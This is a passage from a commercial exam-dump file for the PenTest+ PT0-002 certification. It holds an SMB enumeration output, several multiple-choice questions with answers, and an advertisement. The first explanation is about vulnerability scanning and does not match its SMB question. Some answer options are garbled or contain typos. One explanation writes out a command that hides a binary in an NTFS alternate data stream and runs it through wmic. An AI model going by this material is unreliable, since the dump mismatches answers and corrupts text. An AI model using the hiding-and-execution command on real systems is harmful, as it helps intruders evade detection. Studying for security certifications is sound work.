[+] Can't determine if host is part of domain or part of a workgroup
=====
|   Share Enumeration on 192.168.100.56   |
=====
      Sharename Type Comment
      -----
      print$ Disk Printer Drivers
      web Disk File Server
      IPC$ IPC IPC Service (Samba 4.5.12-Debian)
SMB1 disabled -- no workgroup available
[+] Attempting to map shares on 192.168.100.56
//192.168.100.56/print$ Mapping: DENIED, Listing: N/A
//192.168.100.56/web Mapping: OK, Listing: OK
//192.168.100.56/IPC$ [E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
enum4linux complete on Mon Jul 20 10:14:37 2020
```

Which of the following commands should the penetration tester run NEXT?

- A. smbpool //192.160.100.56/print\$
- B. net rpc share -S 192.168.100.56 -U "
- C. smbget //192.168.100.56/web -U "
- D. smbclient //192.168.100.56/web -U " -N

**Answer: D**

**Explanation:**

A vulnerability scan is a type of assessment that helps to identify vulnerabilities in a network or system. It scans systems for potential vulnerabilities, misconfigurations, and outdated software. Based on the output from a vulnerability scan, a penetration tester can identify vulnerabilities that may be exploited to gain access to a system. In this scenario, the output from the penetration testing tool shows that 100 hosts contained findings due to improper patch management. This indicates that the vulnerability scan detected vulnerabilities that could have been prevented through proper patch management. Therefore, the most likely test performed by the penetration tester is a vulnerability scan.

**NEW QUESTION 363**

Which of the following types of information would MOST likely be included in an application security assessment report addressed to developers? (Choose two.)

- A. Use of non-optimized sort functions
- B. Poor input sanitization
- C. Null pointer dereferences
- D. Non-compliance with code style guide
- E. Use of deprecated Javadoc tags
- F. A cydomatic complexity score of 3

**Answer: BC**

**NEW QUESTION 366**

A penetration tester has obtained shell access to a Windows host and wants to run a specially crafted binary for later execution using the wmic.exe process call create function. Which of the following OS or filesystem mechanisms is MOST likely to support this objective?

- A. Alternate data streams
- B. PowerShell modules
- C. MP4 steganography
- D. PsExec

**Answer: A**

**Explanation:**

Alternate data streams (ADS) are a feature of the NTFS file system that allows storing additional data in a file without affecting its size, name, or functionality. ADS can be used to hide or embed data or executable code in a file, such as a specially crafted binary for later execution. ADS can be created or accessed using various tool or commands, such as the command prompt, PowerShell, or Sysinternals12. For example, the following command can create an ADS named secret.exe in a file named test.txt and run it using wmic.exe process call create function: type secret.exe > test.txt:secret.exe & wmic process call create "cmd.exe /c test.txt:secret.exe"

**NEW QUESTION 369**

.....

## Thank You for Trying Our Product

\* 100% Pass or Money Back

All our products come with a 90-day Money Back Guarantee.

\* One year free update

You can enjoy free update one year. 24x7 online support.

\* Trusted by Millions

We currently serve more than 30,000,000 customers.

\* Shop Securely

All transactions are protected by VeriSign!

**100% Pass Your PT0-002 Exam with Our Prep Materials Via below:**

<https://www.certleader.com/PT0-002-dumps.html>